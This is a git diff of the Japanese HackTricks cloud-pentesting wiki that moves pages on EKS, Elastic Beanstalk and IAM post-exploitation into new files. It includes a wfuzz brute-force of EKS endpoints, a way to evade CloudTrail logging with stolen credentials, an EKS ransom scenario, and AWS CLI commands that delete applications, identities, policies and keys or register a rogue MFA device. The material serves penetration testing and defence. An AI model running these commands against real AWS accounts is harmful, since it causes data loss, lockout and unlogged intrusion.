+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### AWSからKubernetesへ
+
+**作成者** は **EKS cluster** の kubernetes クラスタ部分の **`system:masters`** グループ（k8s admin）に**常に**アクセスできる。執筆時点ではクラスタを**誰が作成したか**を特定する**直接的な方法はない**（CloudTrail を確認することはできる）。また、その**権限を取り消す方法**は**存在しない**。
+
+**K8s へのアクセスをより多くの AWS IAM ユーザーやロールに付与する方法** は、**configmap** **`aws-auth`** を使用することです。
+
+> [!WARNING]
+> したがって、config map **`aws-auth`** に対する **write access** を持つ者は誰でも、**compromise the whole cluster** ことができる。
+
+同一または別のアカウントの **IAM roles & users に追加権限を付与する方法** と、それを **悪用** する方法の詳細は [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) を参照してください。
+
+また、認証 IAM -> Kubernetes の仕組みを学ぶには [**this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post** も確認してください。
+
+### KubernetesからAWSへ
+
+kubernetes service account に対する **OpenID authentication for kubernetes service account** を許可して、それらが AWS のロールを引き受けられるようにすることが可能です。仕組みは [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1) を参照してください。
+
+### GET Api Server Endpoint from a JWT Token
+
+JWT token をデコードすると cluster id と region が得られます。 ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url の標準フォーマットは
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+'`two chars`' と '`number`' の基準を説明するドキュメントは見つかりませんでした。ただ、自分でいくつかテストしたところ、以下のものが繰り返し見られました:
+
+- gr7
+- yl4
+
+いずれにせよ3文字に過ぎないのでbruteforceで総当たりできます。以下のスクリプトを使ってリストを生成してください。
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+次に wfuzz を使って
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> 置換することを忘れないでください & .
+
+### Bypass CloudTrail
+
+攻撃者が EKS に対する権限を持つ AWS の資格情報を入手した場合、攻撃者が前述のように自分の **`kubeconfig`**（**`update-kubeconfig`** を呼び出さずに）を設定すると、**`get-token`** は AWS API とやり取りしないため Cloudtrail にログを生成しません（ローカルでトークンを作成するだけです）。
+
+したがって、攻撃者が EKS クラスターとやり取りしても、cloudtrail は盗まれたユーザーによるアクセスに関連するログを何も記録しません。
+
+ただし、EKS クラスターでログが有効になっている場合は、このアクセスが記録される可能性があることに注意してください（デフォルトでは無効になっています）。
+
+### EKS Ransom?
+
+デフォルトでは、クラスターを作成したユーザーまたはロールは常にクラスターに対して管理者権限を持ちます。そして、それが AWS が Kubernetes クラスターに対して持つ唯一の「安全な」アクセスです。
+
+したがって、**攻撃者が fargate を使ってクラスターを乗っ取り**、**他のすべての管理者を排除し**、**クラスターを作成した AWS ユーザー/ロールを削除した**場合、~~the attacker could have **ransomed the cluste**~~**r**。
+
+> [!TIP]
+> クラスターが **EC2 VMs** を使用している場合、**Node** から管理者権限を取得してクラスターを回復できる可能性がある点に注意してください。
+>
+> 実際には、クラスターが Fargate を使用している場合でも、EC2 ノードを用意するかすべてを EC2 に移行してノード上のトークンにアクセスすることでクラスターを回復できる可能性があります。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
deleted file mode 100644
index 927ff164b..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-詳細情報については：
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: これに対して追加の権限が必要かテストする
-
-`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションのデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**潜在的影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: これに対して追加の権限が必要かテストする
-
-`elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は、**既存の Elastic Beanstalk 環境を終了させる**ことができ、アプリケーションのダウンタイムを引き起こし、環境がバックアップ用に構成されていない場合はデータ損失の可能性があります。
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**潜在的な影響**: アプリケーションのダウンタイム、潜在的なデータ損失、およびサービスの中断。
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: これに対して追加の権限が必要かテストする
-
-`elasticbeanstalk:DeleteApplication` の権限を持つ攻撃者は、**Elastic Beanstalk アプリケーション全体を削除**することができ、そのすべてのバージョンと環境を含みます。このアクションは、バックアップがない場合、アプリケーションリソースと構成の重大な損失を引き起こす可能性があります。
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**潜在的影響**: アプリケーションリソース、設定、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: これに必要な権限が他にあるかテストする
-
-`elasticbeanstalk:SwapEnvironmentCNAMEs` 権限を持つ攻撃者は、**2つのElastic Beanstalk環境のCNAMEレコードを入れ替える**ことができ、これによりユーザーに誤ったバージョンのアプリケーションが提供されたり、意図しない動作を引き起こす可能性があります。
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**潜在的な影響**: ユーザーに誤ったバージョンのアプリケーションを提供したり、環境が入れ替わったことによるアプリケーションの意図しない動作を引き起こす可能性があります。
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!NOTE]
-> TODO: これに必要な権限が他にあるかテストする
-
-`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は、**Elastic Beanstalk リソースにタグを追加または削除**することができます。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**潜在的影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
new file mode 100644
index 000000000..3ebf598ce
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+詳細情報:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: これにさらに権限が必要かテストする
+
+攻撃者が `elasticbeanstalk:DeleteApplicationVersion` 権限を持っていると、**既存のアプリケーションバージョンを削除できる**。この操作はアプリケーションのデプロイパイプラインを混乱させる可能性があり、バックアップがなければ特定のアプリケーションバージョンの喪失を引き起こすことがある。
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Potential Impact**: アプリケーションのデプロイの中断およびアプリケーションバージョンの喪失の可能性。
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: これにさらに権限が必要か確認する
+
+`elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は **既存の Elastic Beanstalk 環境を終了させることができ**、環境がバックアップに対応していない場合はアプリケーションのダウンタイムや潜在的なデータ損失を引き起こします。
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Potential Impact**: アプリケーションのダウンタイム、データ損失の可能性、およびサービスの中断。
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: この操作にさらに権限が必要かどうかを確認する
+
+`elasticbeanstalk:DeleteApplication` の権限を持つ攻撃者は、**Elastic Beanstalk のアプリケーション全体を削除する**（すべてのバージョンと環境を含む）ことができます。バックアップがない場合、この操作によりアプリケーションのリソースや設定が大幅に失われる可能性があります。
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**潜在的な影響**: アプリケーションのリソース、設定、環境、およびアプリケーションのバージョンの喪失により、サービス停止や潜在的なデータ損失を引き起こす可能性があります。
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: 追加で権限が必要かテストする
+
+`elasticbeanstalk:SwapEnvironmentCNAMEs` 権限を持つ攻撃者は、**2つの Elastic Beanstalk 環境の CNAME レコードを入れ替える**ことができ、これによりユーザーに誤ったバージョンのアプリケーションが提供されたり、意図しない動作を引き起こしたりする可能性があります。
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**潜在的な影響**: 環境が入れ替わることでユーザーに誤ったバージョンのアプリケーションが配信されたり、アプリケーション内で意図しない動作が発生する可能性があります。
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: これにさらに多くの権限が必要かどうかをテストする
+
+`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` の権限を持つ攻撃者は、**Elastic Beanstalk リソースのタグを追加または削除する**ことができます。 この操作により、リソースの割り当てミス、請求の誤り、またはリソース管理の問題が発生する可能性があります。
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**潜在的な影響**: タグの追加や削除により、リソースの割り当て、請求、またはリソース管理が不適切になる可能性があります。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
deleted file mode 100644
index 88dd739ac..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ /dev/null
@@ -1,166 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-For more information about IAM access:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-## Confused Deputy 問題
-
-もしあなたが自分のアカウント内の**role**に外部アカウント（A）がアクセスできるようにすると、外部アカウントが具体的に誰にアクセスできるかについて**可視性はほぼゼロ**になります。これは問題です。なぜなら別の外部アカウント（B）が外部アカウント（A）にアクセスできる場合、**Bがあなたのアカウントにもアクセスできてしまう可能性がある**からです。
-
-そのため、外部アカウントにあなたのアカウントのroleへのアクセスを許可する際に、`ExternalId`を指定できます。これは外部アカウント（A）があなたの組織のroleを**assume the role**するために**指定する必要がある**“シークレット”文字列です。外部アカウント（B）はこの文字列を知らないため、たとえBがAにアクセス権を持っていても、**あなたのroleにアクセスできなくなります**。
-
-<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
-
-ただし、この`ExternalId`“シークレット”は**真のシークレットではない**点に注意してください。IAMのassume role policyを**読むことができる者は誰でもそれを確認できる**からです。しかし、外部アカウント（A）がその文字列を知っており、外部アカウント（B）が知らない限り、**BがAを悪用してあなたのroleにアクセスすることを防げます**。
-
-例:
-```json
-{
-"Version": "2012-10-17",
-"Statement": {
-"Effect": "Allow",
-"Principal": {
-"AWS": "Example Corp's AWS Account ID"
-},
-"Action": "sts:AssumeRole",
-"Condition": {
-"StringEquals": {
-"sts:ExternalId": "12345"
-}
-}
-}
-}
-```
-> [!WARNING]
-> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を impersonate できるかどうかを何らかの方法で特定する必要がある。
-
-### 予期しない Trusts
-
-#### ワイルドカードを principal として
-```json
-{
-"Action": "sts:AssumeRole",
-"Effect": "Allow",
-"Principal": { "AWS": "*" }
-}
-```
-このポリシーは **すべての AWS** がロールを引き受けることを許可します。
-
-#### サービスをプリンシパルとして
-```json
-{
-"Action": "lambda:InvokeFunction",
-"Effect": "Allow",
-"Principal": { "Service": "apigateway.amazonaws.com" },
-"Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-このポリシーは**任意のアカウント**が自分の apigateway を設定してこの Lambda を呼び出すことを許可します。
-
-#### S3 をプリンシパルとして
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-"StringEquals": {
-"aws:SourceAccount": "123456789012"
-}
-}
-```
-S3 バケットが principal として指定されている場合、S3 バケットにはアカウントIDがないため、あなたが **バケットを削除し攻撃者が自分のアカウントでそれを作成した** 場合、攻撃者はこれを悪用できます。
-
-#### サポートされていません
-```json
-{
-"Effect": "Allow",
-"Principal": { "Service": "cloudtrail.amazonaws.com" },
-"Action": "s3:PutObject",
-"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
-
-### 認証情報の削除
-With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
-```bash
-# Remove Access Key of a user
-aws iam delete-access-key \
---user-name <Username> \
---access-key-id AKIAIOSFODNN7EXAMPLE
-
-## Remove ssh key of a user
-aws iam delete-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE
-```
-### アイデンティティの削除
-`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または`iam:RemoveUserFromGroup`のような権限があれば、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティやそれに関連する痕跡を消すことができます。これにより、これらのアイデンティティに依存する人やサービスのアクセスが即座に失われ、denial-of-service やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限・監視する必要があります。
-```bash
-# Delete a user
-aws iam delete-user \
---user-name <Username>
-
-# Delete a group
-aws iam delete-group \
---group-name <Username>
-
-# Delete a role
-aws iam delete-role \
---role-name <Role>
-```
-###
-次のいずれかの権限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つ主体は、マネージド/インラインポリシーを削除またはデタッチし、ポリシーのバージョンや権限境界を削除し、ユーザー、グループ、またはロールからポリシーを切り離すことができます。これにより認可が失われたり権限モデルが変更されたりし、これらのポリシーに依存していたプリンシパルが即座にアクセスを失うかサービス拒否に陥る可能性があるため、これらの IAM アクションは厳格に制限し監視する必要があります。
-```bash
-# Delete a group policy
-aws iam delete-group-policy \
---group-name <GroupName> \
---policy-name <PolicyName>
-
-# Delete a role policy
-aws iam delete-role-policy \
---role-name <RoleName> \
---policy-name <PolicyName>
-```
-### フェデレーテッド・アイデンティティの削除
-`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を使用すると、攻撃者は OIDC/SAML の ID プロバイダーを削除したりクライアントID を削除したりできます。これによりフェデレーテッド認証が機能しなくなり、トークンの検証が行えず、IdP または設定が復旧するまで SSO に依存するユーザーやサービスへのアクセスが直ちに拒否されます。
-```bash
-# Delete OIDCP provider
-aws iam delete-open-id-connect-provider \
---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
-
-# Delete SAML provider
-aws iam delete-saml-provider \
---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
-```
-### Illegitimate MFA Activation
-`iam:EnableMFADevice` を使用すると、攻撃者はユーザーのアイデンティティにMFAデバイスを登録し、正当なユーザーのサインインを防止できます。 不正なMFAが有効化されると、そのデバイスが削除またはリセットされるまでユーザーがロックアウトされる可能性があります（注：複数のMFAデバイスが登録されている場合、サインインにはいずれか1つのデバイスのみが必要なため、この攻撃はアクセスの拒否には影響しません）。
-```bash
-aws iam enable-mfa-device \
---user-name <Username> \
---serial-number arn:aws:iam::111122223333:mfa/alice \
---authentication-code1 123456 \
---authentication-code2 789012
-```
-### 証明書/キーのメタデータ改ざん
-`iam:UpdateSSHPublicKey`、`iam:UpdateCloudFrontPublicKey`、`iam:UpdateSigningCertificate`、`iam:UpdateServerCertificate` を使用すると、攻撃者は公開鍵や証明書のステータスやメタデータを変更できます。キーや証明書を無効化したり参照を変更したりすることで、SSH認証を破壊したり、X.509/TLS検証を無効化したりして、それらの資格情報に依存するサービスを即座に中断させ、アクセスや可用性の喪失を引き起こす可能性があります。
-```bash
-aws iam update-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE \
---status Inactive
-
-aws iam update-server-certificate \
---server-certificate-name <Certificate_Name> \
---new-path /prod/
-```
-## 参考資料
-
-- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
new file mode 100644
index 000000000..b828a5089
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
@@ -0,0 +1,166 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+For more information about IAM access:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Confused Deputy Problem
+
+もしあなたが **外部アカウント (A)** に自分のアカウント内の **role** へのアクセスを許可すると、**誰が正確にその外部アカウントにアクセスできるか** に関して **0の可視性** を持つことになり得ます。これは問題です。なぜなら別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**B もあなたのアカウントにアクセスできる可能性がある**からです。
+
+したがって、自分のアカウントの role へのアクセスを外部アカウントに許可する際に、`ExternalId` を指定することができます。これは外部アカウント (A) が組織内で assume the role するために指定する必要がある「秘密」の文字列です。外部アカウント B がこの文字列を知らない場合、たとえ B が A へのアクセス権を持っていても、あなたの role にアクセスすることはできません。
+
+<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
+
+ただし、この `ExternalId` の「秘密」は **秘密ではありません**。`IAM assume role policy` を読める人なら誰でもそれを見ることができます。しかし、外部アカウント A がその値を知っていて、外部アカウント **B がそれを知らない** 限り、**B が A を悪用してあなたの role にアクセスするのを防ぐ**ことができます。
+
+例:
+```json
+{
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
+}
+```
+> [!WARNING]
+> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を impersonate できるかどうかを何らかの方法で見つける必要がある。
+
+### 予期しない信頼関係
+
+#### ワイルドカードを principal として
+```json
+{
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
+}
+```
+このポリシーは **すべての AWS** がロールを引き受けることを許可します。
+
+#### サービスをプリンシパルとして
+```json
+{
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+このポリシーは **任意のアカウントが** 自分の apigateway を構成してこの Lambda を呼び出すことを許可します。
+
+#### S3 をプリンシパルとして
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
+}
+```
+S3 bucket が principal として指定されている場合、S3 buckets は Account ID を持たないため、あなたが **deleted your bucket and the attacker created** それを彼ら自身のアカウントに作成した場合、彼らはこれを悪用する可能性があります。
+
+#### サポートされていません
+```json
+{
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
+Confused Deputy 問題を回避する一般的な方法は、発信元の ARN を確認するために `AWS:SourceArn` を条件で使用することです。ただし、**一部のサービスはそれをサポートしていない場合があります**（例：CloudTrail は情報源によってサポートしていないことがあります）。
+
+### 認証情報の削除
+次のいずれかの権限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — を持つと、担当者はアクセスキー、ログインプロファイル、SSH 鍵、サービス固有の認証情報、インスタンスプロファイル、証明書、CloudFront の公開鍵を削除したり、インスタンスプロファイルからロールを切り離したりできます。これらの操作は正当なユーザーやアプリケーションを直ちにブロックし、これらの認証情報に依存するシステムのサービス停止やアクセス喪失を引き起こす可能性があるため、これらの IAM 権限は厳格に制限・監視する必要があります。
+```bash
+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name <Username> \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### アイデンティティの削除
+`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または `iam:RemoveUserFromGroup` のような権限があれば、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティとそれに関連する痕跡を削除できます。これにより、そのアイデンティティに依存する人やサービスのアクセスが直ちに断たれ、サービス拒否やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name <Username>
+
+# Delete a group
+aws iam delete-group \
+--group-name <Username>
+
+# Delete a role
+aws iam delete-role \
+--role-name <Role>
+```
+###
+以下の許可のいずれか — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つアクターは、マネージド/インラインポリシーを削除またはデタッチし、ポリシーのバージョンや権限境界を削除し、ユーザー、グループ、ロールからポリシーを切り離すことができます。これは認可を破壊し、権限モデルを変更する可能性があり、それらのポリシーに依存していた主体が即座にアクセスを失ったりサービス停止（denial-of-service）を引き起こす可能性があるため、これらの IAM アクションは厳格に制限・監視されるべきです。
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name <GroupName> \
+--policy-name <PolicyName>
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name <RoleName> \
+--policy-name <PolicyName>
+```
+### フェデレーテッドアイデンティティの削除
+`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を持つアクターは、OIDC/SAML の Identity Provider (IdP) を削除したり、client ID を削除したりできます。これによりフェデレーテッド認証が破損し、トークンの検証ができなくなり、IdP または設定が復旧されるまで SSO に依存するユーザーやサービスへのアクセスが即座に拒否されます。
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
